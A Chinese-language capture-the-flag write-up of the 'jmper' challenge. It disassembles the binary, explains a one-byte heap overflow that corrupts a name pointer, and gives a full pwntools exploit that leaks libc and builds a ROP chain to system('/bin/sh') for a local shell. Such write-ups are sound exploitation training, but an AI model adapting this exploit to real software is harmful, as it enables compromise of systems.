题目复现

$ file jmper 
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
$ checksec -f jmper
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       jmper
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.

64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。

在 Ubuntu-14.04 上玩一下:

$ LD_PRELOAD=./libc-2.19.so ./jmper 
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
1
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
2
ID:0
Input name:AAAA
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
3
ID:0
Input memo:BBBB
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
4
ID:0
AAAA1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
5
ID:0
BBBB1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
6

似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。

题目解析

程序主要由两部分组成,一个是 main() 函数,另一个是实现了所有功能的 f() 函数。

main

[0x00400730]> pdf @ main
/ (fcn) main 170
|   main ();
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x0040074d (entry0)
|           0x00400ba8      push rbp
|           0x00400ba9      mov rbp, rsp
|           0x00400bac      sub rsp, 0x10
|           0x00400bb0      mov rax, qword [obj.stdin]                 ; [0x602018:8]=0
|           0x00400bb7      mov ecx, 0
|           0x00400bbc      mov edx, 2
|           0x00400bc1      mov esi, 0
|           0x00400bc6      mov rdi, rax
|           0x00400bc9      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bce      mov rax, qword [sym.stdout]                ; loc.stdout ; [0x602010:8]=0
|           0x00400bd5      mov ecx, 0
|           0x00400bda      mov edx, 2
|           0x00400bdf      mov esi, 0
|           0x00400be4      mov rdi, rax
|           0x00400be7      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bec      mov edi, str.Welcome_to_my_class.          ; 0x400d88 ; "Welcome to my class."
|           0x00400bf1      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400bf6      mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
|           0x00400bfb      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400c00      mov edi, 0xf0                              ; 240
|           0x00400c05      call sym.imp.malloc                        ; my_class = malloc(0xf0) 分配 my_class 数组
|           0x00400c0a      mov qword [obj.my_class], rax              ; [0x602030:8]=0
|           0x00400c11      mov edi, 0xc8                              ; 200
|           0x00400c16      call sym.imp.malloc                        ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
|           0x00400c1b      mov qword [obj.jmpbuf], rax                ; [0x602038:8]=0
|           0x00400c22      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0
|           0x00400c29      mov rdi, rax
|           0x00400c2c      call sym.imp._setjmp                       ; setjmp(jmpbuf) 保存上下文到 jmpbuf
|           0x00400c31      mov dword [local_4h], eax
|           0x00400c34      cmp dword [local_4h], 0                     ; 将 setjmp 返回值与 0 比较
|       ,=< 0x00400c38      jne 0x400c41                                ; 不等于时跳转
|       |   0x00400c3a      call sym.f                                  ; 否则调用函数 f(),进入主要程序逻辑
|      ,==< 0x00400c3f      jmp 0x400c4b
|      ||   ; JMP XREF from 0x00400c38 (main)
|      |`-> 0x00400c41      mov edi, str.Nice_jump__Bye_:              ; 0x400dbf ; "Nice jump! Bye :)"
|      |    0x00400c46      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; JMP XREF from 0x00400c3f (main)
|      `--> 0x00400c4b      mov eax, 0
|           0x00400c50      leave
\           0x00400c51      ret
[0x00400730]> is ~my_class
055 0x00002030 0x00602030 GLOBAL OBJECT    8 my_class
[0x00400730]> is ~jmpbuf
065 0x00002038 0x00602038 GLOBAL OBJECT    8 jmpbuf
[0x00400730]> iS ~bss
24 0x00002010     0 0x00602010    48 --rw- .bss

在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 my_class0x00602030)。另一块用于存放一个 jmp_buf 结构体,这个结构体中保存当前上下文,结构体的地址放在 jmpbuf0x00602038)。并且这两个符号都在 .bss 段中。

这里就涉及到 setjmp()longjmp() 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:

#include <setjmp.h>

int setjmp(jmp_buf env);

void longjmp(jmp_buf env, int val);

longjmp() 执行完之后,程序就回到了 setjmp() 的下一条语句继续执行。

f

接下来我们看一下各功能的实现(程序设计真的要吐槽一下):

[0x00400730]> pdf @ sym.f
/ (fcn) sym.f 907
|   sym.f ();
|           ; var int local_1dh @ rbp-0x1d
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400c3a (main)
|           0x0040081d      push rbp
|           0x0040081e      mov rbp, rsp
|           0x00400821      sub rsp, 0x20
|           0x00400825      mov dword [obj.student_num], 0             ; [0x602028:4]=0
|           ; JMP XREF from 0x00400ba3 (sym.f)
|       .-> 0x0040082f      mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
|       :   0x00400834      call sym.imp.puts                          ; int puts(const char *s)
|       :   0x00400839      lea rax, [local_18h]
|       :   0x0040083d      mov rsi, rax
|       :   0x00400840      mov edi, 0x400d3c
|       :   0x00400845      mov eax, 0
|       :   0x0040084a      call sym.imp.__isoc99_scanf                 ; 读入选项到 [local_18h]
|       :   0x0040084f      call sym.imp.getchar                       ; int getchar(void)
|       :   0x00400854      mov eax, dword [local_18h]
|       :   0x00400857      cmp eax, 1                                 ; 1
|      ,==< 0x0040085a      jne 0x4008e8
|      |:   0x00400860      mov eax, dword [obj.student_num]           ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
|      |:   0x00400866      cmp eax, 0x1d                              ; 29 ; 与最大值比较
|     ,===< 0x00400869      jle 0x400889                                ; 小于等于 30 时跳转
|     ||:   0x0040086b      mov edi, str.Exception_has_occurred._Jump  ; 0x400d3f ; 否则调用 longjmp 返回到 main
|     ||:   0x00400870      call sym.imp.puts                          ; int puts(const char *s)
|     ||:   0x00400875      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
|     ||:   0x0040087c      mov esi, 0x1bf52                            ; setjmp 返回值为 0x1bf52
|     ||:   0x00400881      mov rdi, rax
|     ||:   0x00400884      call sym.imp.longjmp                       ; longjmp(jmpbuf, 0x1bf52)
|     ||:   ; JMP XREF from 0x00400869 (sym.f)
|     `---> 0x00400889      mov edi, 0x30                              ; '0' ; 48
|      |:   0x0040088e      call sym.imp.malloc                        ; malloc(0x30) ; 分配一个 student 结构
|      |:   0x00400893      mov qword [local_8h], rax                   ; 将 student 地址放到 [local_8h]
|      |:   0x00400897      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x0040089d      movsxd rdx, eax
|      |:   0x004008a0      mov rax, qword [local_8h]
|      |:   0x004008a4      mov qword [rax], rdx                        ; 将 student_num 作为该 student->id
|      |:   0x004008a7      mov edi, 0x20                              ; 32
|      |:   0x004008ac      call sym.imp.malloc                        ; malloc(0x20) ; 分配一块空间作为 name
|      |:   0x004008b1      mov rdx, rax
|      |:   0x004008b4      mov rax, qword [local_8h]
|      |:   0x004008b8      mov qword [rax + 0x28], rdx                 ; 将 name 的地址放到 student->name
|      |:   0x004008bc      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|      |:   0x004008c3      mov edx, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008c9      movsxd rdx, edx
|      |:   0x004008cc      mov rcx, qword [local_8h]
|      |:   0x004008d0      mov qword [rax + rdx*8],                    ; 将新分配的 student 地址放到 my_class[id]
|      |:   0x004008d4      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008da      add eax, 1                                  ; student_num + 1
|      |:   0x004008dd      mov dword [obj.student_num], eax           ; [0x602028:4]=0 ; 写回 student_num
|     ,===< 0x004008e3      jmp 0x400ba3                                ; 回到菜单
|     ||:   ; JMP XREF from 0x0040085a (sym.f)
|     |`--> 0x004008e8      mov eax, dword [local_18h]
|     | :   0x004008eb      cmp eax, 2                                 ; 2
|     |,==< 0x004008ee      jne 0x4009b3
|     ||:   0x004008f4      mov esi, 0x400d5d                           ; 选项 2
|     ||:   0x004008f9      mov edi, 0x400d61
|     ||:   0x004008fe      mov eax, 0
|     ||:   0x00400903      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x00400908      lea rax, [local_1ch]
|     ||:   0x0040090c      mov rsi, rax
|     ||:   0x0040090f      mov edi, 0x400d3c
|     ||:   0x00400914      mov eax, 0
|     ||:   0x00400919      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
|     ||:   0x0040091e      call sym.imp.getchar                       ; int getchar(void)
|     ||:   0x00400923      mov edx, dword [local_1ch]
|     ||:   0x00400926      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|     ||:   0x0040092c      cmp edx, eax                                ; 判断 id 是否有效
|    ,====< 0x0040092e      jge 0x400937                                ; 无效时跳转
|    |||:   0x00400930      mov eax, dword [local_1ch]
|    |||:   0x00400933      test eax, eax                               ; 根据 id 设置符号位
|   ,=====< 0x00400935      jns 0x40094b                                ; 符号位为 0 时跳转,即 id 大于等于 0
|   ||||:   ; JMP XREF from 0x0040092e (sym.f)
|   |`----> 0x00400937      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
|   | ||:   0x0040093c      call sym.imp.puts                          ; int puts(const char *s)
|   | ||:   0x00400941      mov edi, 1
|   | ||:   0x00400946      call sym.imp.exit                          ; void exit(int status)
|   | ||:   ; JMP XREF from 0x00400935 (sym.f)
|   `-----> 0x0040094b      mov esi, str.Input_name:                   ; 0x400d70 ; "Input name:"
|     ||:   0x00400950      mov edi, 0x400d61
|     ||:   0x00400955      mov eax, 0
|     ||:   0x0040095a      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x0040095f      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|     ||:   0x00400966      mov edx, dword [local_1ch]
|     ||:   0x00400969      movsxd rdx, edx
|     ||:   0x0040096c      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
|     ||:   0x00400970      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
|     ||:   0x00400974      mov qword [local_10h], rax                  ; 放到 [local_10h]
|     ||:   0x00400978      mov dword [local_14h], 0                    ; 循环计数 i 初始化为 0
|    ,====< 0x0040097f      jmp 0x4009a8                                ; 进入循环
|    |||:   ; JMP XREF from 0x004009ac (sym.f)
|   .-----> 0x00400981      call sym.imp.getchar                       ; int getchar(void)
|   :|||:   0x00400986      mov byte [local_1dh], al                    ; 读入一个字节到 [local_1dh]
|   :|||:   0x00400989      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
|  ,======< 0x0040098d      jne 0x400995                                ; 非换行符时跳转
|  |:|||:   0x0040098f      nop
| ,=======< 0x00400990      jmp 0x400ba3                                ; 否则回到菜单
| ||:|||:   ; JMP XREF from 0x0040098d (sym.f)
| |`------> 0x00400995      mov rax, qword [local_10h]
| | :|||:   0x00400999      movzx edx, byte [local_1dh]
| | :|||:   0x0040099d      mov byte [rax], dl                          ; 写入该字节写入 name
| | :|||:   0x0040099f      add qword [local_10h], 1                    ; name = name + 1
| | :|||:   0x004009a4      add dword [local_14h], 1                    ; i = i + 1
| | :|||:   ; JMP XREF from 0x0040097f (sym.f)
| | :`----> 0x004009a8      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| | `=====< 0x004009ac      jle 0x400981                                ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| |  ,====< 0x004009ae      jmp 0x400ba3                                ; 否则回到菜单
| |  |||:   ; JMP XREF from 0x004008ee (sym.f)
| |  ||`--> 0x004009b3      mov eax, dword [local_18h]
| |  || :   0x004009b6      cmp eax, 3                                 ; 3
| |  ||,==< 0x004009b9      jne 0x400a7e
| |  |||:   0x004009bf      mov esi, 0x400d5d                           ; 选项 3
| |  |||:   0x004009c4      mov edi, 0x400d61
| |  |||:   0x004009c9      mov eax, 0
| |  |||:   0x004009ce      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x004009d3      lea rax, [local_1ch]
| |  |||:   0x004009d7      mov rsi, rax
| |  |||:   0x004009da      mov edi, 0x400d3c
| |  |||:   0x004009df      mov eax, 0
| |  |||:   0x004009e4      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| |  |||:   0x004009e9      call sym.imp.getchar                       ; int getchar(void)
| |  |||:   0x004009ee      mov edx, dword [local_1ch]
| |  |||:   0x004009f1      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| |  |||:   0x004009f7      cmp edx, eax                                ; 判断 id 是否有效
| | ,=====< 0x004009f9      jge 0x400a02                                ; 无效时跳转
| | ||||:   0x004009fb      mov eax, dword [local_1ch]
| | ||||:   0x004009fe      test eax, eax                               ; 根据 id 设置符号位
| |,======< 0x00400a00      jns 0x400a16                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x004009f9 (sym.f)
| ||`-----> 0x00400a02      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| || |||:   0x00400a07      call sym.imp.puts                          ; int puts(const char *s)
| || |||:   0x00400a0c      mov edi, 1
| || |||:   0x00400a11      call sym.imp.exit                          ; void exit(int status)
| || |||:   ; JMP XREF from 0x00400a00 (sym.f)
| |`------> 0x00400a16      mov esi, str.Input_memo:                   ; 0x400d7c ; "Input memo:"
| |  |||:   0x00400a1b      mov edi, 0x400d61
| |  |||:   0x00400a20      mov eax, 0
| |  |||:   0x00400a25      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x00400a2a      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| |  |||:   0x00400a31      mov edx, dword [local_1ch]
| |  |||:   0x00400a34      movsxd rdx, edx
| |  |||:   0x00400a37      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| |  |||:   0x00400a3b      add rax, 8                                  ; 取出 my_class[id]->memo
| |  |||:   0x00400a3f      mov qword [local_10h], rax                  ; 放到 [local_10h]
| |  |||:   0x00400a43      mov dword [local_14h], 0                    ; 循环计数 i,初始化为 0
| | ,=====< 0x00400a4a      jmp 0x400a73                                ; 进入循环
| | ||||:   ; JMP XREF from 0x00400a77 (sym.f)
| |.------> 0x00400a4c      call sym.imp.getchar                       ; int getchar(void)
| |:||||:   0x00400a51      mov byte [local_1dh], al
| |:||||:   0x00400a54      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
| ========< 0x00400a58      jne 0x400a60
| |:||||:   0x00400a5a      nop
| ========< 0x00400a5b      jmp 0x400ba3
| |:||||:   ; JMP XREF from 0x00400a58 (sym.f)
| --------> 0x00400a60      mov rax, qword [local_10h]
| |:||||:   0x00400a64      movzx edx, byte [local_1dh]
| |:||||:   0x00400a68      mov byte [rax], dl
| |:||||:   0x00400a6a      add qword [local_10h], 1
| |:||||:   0x00400a6f      add dword [local_14h], 1
| |:||||:   ; JMP XREF from 0x00400a4a (sym.f)
| |:`-----> 0x00400a73      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| |`======< 0x00400a77      jle 0x400a4c                                ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| | ,=====< 0x00400a79      jmp 0x400ba3                                ; 否则回到菜单
| | ||||:   ; JMP XREF from 0x004009b9 (sym.f)
| | |||`--> 0x00400a7e      mov eax, dword [local_18h]
| | ||| :   0x00400a81      cmp eax, 4                                 ; 4
| | |||,==< 0x00400a84      jne 0x400b0d
| | ||||:   0x00400a8a      mov esi, 0x400d5d                           ; 选项 4
| | ||||:   0x00400a8f      mov edi, 0x400d61
| | ||||:   0x00400a94      mov eax, 0
| | ||||:   0x00400a99      call sym.imp.printf                        ; int printf(const char *format)
| | ||||:   0x00400a9e      lea rax, [local_1ch]
| | ||||:   0x00400aa2      mov rsi, rax
| | ||||:   0x00400aa5      mov edi, 0x400d3c
| | ||||:   0x00400aaa      mov eax, 0
| | ||||:   0x00400aaf      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| | ||||:   0x00400ab4      call sym.imp.getchar                       ; int getchar(void)
| | ||||:   0x00400ab9      mov edx, dword [local_1ch]
| | ||||:   0x00400abc      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| | ||||:   0x00400ac2      cmp edx, eax                                ; 判断 id 是否有效
| |,======< 0x00400ac4      jge 0x400acd                                ; 无效时跳转
| ||||||:   0x00400ac6      mov eax, dword [local_1ch]
| ||||||:   0x00400ac9      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400acb      jns 0x400ae1                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400ac4 (sym.f)
| |`------> 0x00400acd      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| | ||||:   0x00400ad2      call sym.imp.puts                          ; int puts(const char *s)
| | ||||:   0x00400ad7      mov edi, 1
| | ||||:   0x00400adc      call sym.imp.exit                          ; void exit(int status)
| | ||||:   ; JMP XREF from 0x00400acb (sym.f)
| --------> 0x00400ae1      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| | ||||:   0x00400ae8      mov edx, dword [local_1ch]
| | ||||:   0x00400aeb      movsxd rdx, edx
| | ||||:   0x00400aee      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| | ||||:   0x00400af2      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
| | ||||:   0x00400af6      mov rsi, rax
| | ||||:   0x00400af9      mov edi, 0x400d61
| | ||||:   0x00400afe      mov eax, 0
| | ||||:   0x00400b03      call sym.imp.printf                         ; 打印出 my_class[id]->name
| |,======< 0x00400b08      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400a84 (sym.f)
| |||||`--> 0x00400b0d      mov eax, dword [local_18h]
| ||||| :   0x00400b10      cmp eax, 5                                 ; 5
| |||||,==< 0x00400b13      jne 0x400b99
| ||||||:   0x00400b19      mov esi, 0x400d5d                           ; 选项 5
| ||||||:   0x00400b1e      mov edi, 0x400d61
| ||||||:   0x00400b23      mov eax, 0
| ||||||:   0x00400b28      call sym.imp.printf                        ; int printf(const char *format)
| ||||||:   0x00400b2d      lea rax, [local_1ch]
| ||||||:   0x00400b31      mov rsi, rax
| ||||||:   0x00400b34      mov edi, 0x400d3c
| ||||||:   0x00400b39      mov eax, 0
| ||||||:   0x00400b3e      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| ||||||:   0x00400b43      call sym.imp.getchar                       ; int getchar(void)
| ||||||:   0x00400b48      mov edx, dword [local_1ch]
| ||||||:   0x00400b4b      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| ||||||:   0x00400b51      cmp edx, eax                                ; 判断 id 是否有效
| ========< 0x00400b53      jge 0x400b5c                                ; 无效时跳转
| ||||||:   0x00400b55      mov eax, dword [local_1ch]
| ||||||:   0x00400b58      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400b5a      jns 0x400b70                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400b53 (sym.f)
| --------> 0x00400b5c      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| ||||||:   0x00400b61      call sym.imp.puts                          ; int puts(const char *s)
| ||||||:   0x00400b66      mov edi, 1
| ||||||:   0x00400b6b      call sym.imp.exit                          ; void exit(int status)
| ||||||:   ; JMP XREF from 0x00400b5a (sym.f)
| --------> 0x00400b70      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| ||||||:   0x00400b77      mov edx, dword [local_1ch]
| ||||||:   0x00400b7a      movsxd rdx, edx
| ||||||:   0x00400b7d      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| ||||||:   0x00400b81      add rax, 8                                  ; 取出 my_class[id]->memo
| ||||||:   0x00400b85      mov rsi, rax
| ||||||:   0x00400b88      mov edi, 0x400d61
| ||||||:   0x00400b8d      mov eax, 0
| ||||||:   0x00400b92      call sym.imp.printf                         ; 打印出 my_class[id]->memo
| ========< 0x00400b97      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400b13 (sym.f)
| |||||`--> 0x00400b99      mov edi, 0
| ||||| :   0x00400b9e      call sym.imp.exit                          ; void exit(int status)
| ||||| |   ; XREFS: JMP 0x00400b97  JMP 0x00400b08  JMP 0x00400a79  JMP 0x00400a5b  JMP 0x004009ae  JMP 0x00400990  JMP 0x004008e3  
\ `````-`=< 0x00400ba3      jmp 0x40082f                                ; 循环继续
[0x00400730]> is ~student_num
048 0x00002028 0x00602028 GLOBAL OBJECT    4 student_num

首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 exit(),另一个是 longjmp() 跳回 main 函数,既然这么设置那当然是有用意的。

通过分析,可以得到 student 结构体和数组 my_class:

struct student {
    uint8_t id;
    char memo[0x20];
    char *name;
} student;

struct student *my_class[0x1e];

漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。

漏洞利用

所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system(‘/bin/sh’) 获得 shell。

overflow

def overflow():
    add()   # idx 0
    add()   # idx 1
    raw_input("#")
    write_memo(0, 'A'*0x20 + '\x78')

首先添加两个 student:

gdb-peda$ p student_num 
$1 = 0x2
gdb-peda$ x/2gx my_class 
0x603010:	0x00000000006031e0	0x0000000000603250
gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041  <-- student chunk 0
0x6031e0:	0x0000000000000000	0x0000000000000000  <-- my_class[0]->name   <-- my_class[0]->memo
0x6031f0:	0x0000000000000000	0x0000000000000000
0x603200:	0x0000000000000000	0x0000000000603220                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031  <-- name chunk 0
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041  <-- student chunk 1
0x603250:	0x0000000000000001	0x0000000000000000  <-- my_class[1]->name   <-- my_class[1]->memo
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031  <-- name chunk 1
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51  <-- top chunk

然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:

gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041
0x6031e0:	0x0000000000000000	0x4141414141414141
0x6031f0:	0x4141414141414141	0x4141414141414141
0x603200:	0x4141414141414141	0x0000000000603278                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041
0x603250:	0x0000000000000001	0x0000000000000000
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。

leak

然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:

def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)

于是我们就得到了 system 函数的地址和 main 函数的返回地址。

这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。

[*] libc base: 0x7ffff7a15000
[*] system address: 0x7ffff7a5b590
[*] main return address: 0x7fffffffed78

overwrite

def overwrite():
    write_name(0, p64(0x602028))        # student_num
    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')

接下来我们将 student_num 改为 ‘/bin/sh’,这样一方面为 system 提供了参数,另一方面可以触发 longjmp。

gdb-peda$ x/s 0x602028
0x602028 <student_num>:	"/bin/sh"
gdb-peda$ x/3gx 0x7fffffffed78
0x7fffffffed78:	0x0000000000400cc3	0x0000000000602028
0x7fffffffed88:	0x00007ffff7a5b590

pwn

def pwn():
    add()   # call longjmp to back to main
    io.interactive()

Bingo!!!

$ python exp.py 
[+] Starting local process './jmper': pid 3935
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('jmper')
libc = ELF('libc-2.19.so')

pop_rdi_ret = 0x400cc3

def add():
    io.sendlineafter("Bye :)\n", '1')

def write_name(idx, content):
    io.sendlineafter("Bye :)\n", '2')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("name:", content)

def write_memo(idx, content):
    io.sendlineafter("Bye :)\n", '3')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("memo:", content)

def show_name(idx):
    io.sendlineafter("Bye :)\n", '4')
    io.sendlineafter("ID:", str(idx))

def show_memo(idx):
    io.sendlineafter("Bye :)\n", '5')
    io.sendlineafter("ID:", str(idx))

def overflow():
    add()   # idx 0
    add()   # idx 1
    write_memo(0, 'A'*0x20 + '\x78')

def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)

def overwrite():
    write_name(0, p64(0x602028))        # student_num
    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')

def pwn():
    add()   # call longjmp to back to main
    io.interactive()

if __name__ == "__main__":
    overflow()
    leak()
    overwrite()
    pwn()

参考资料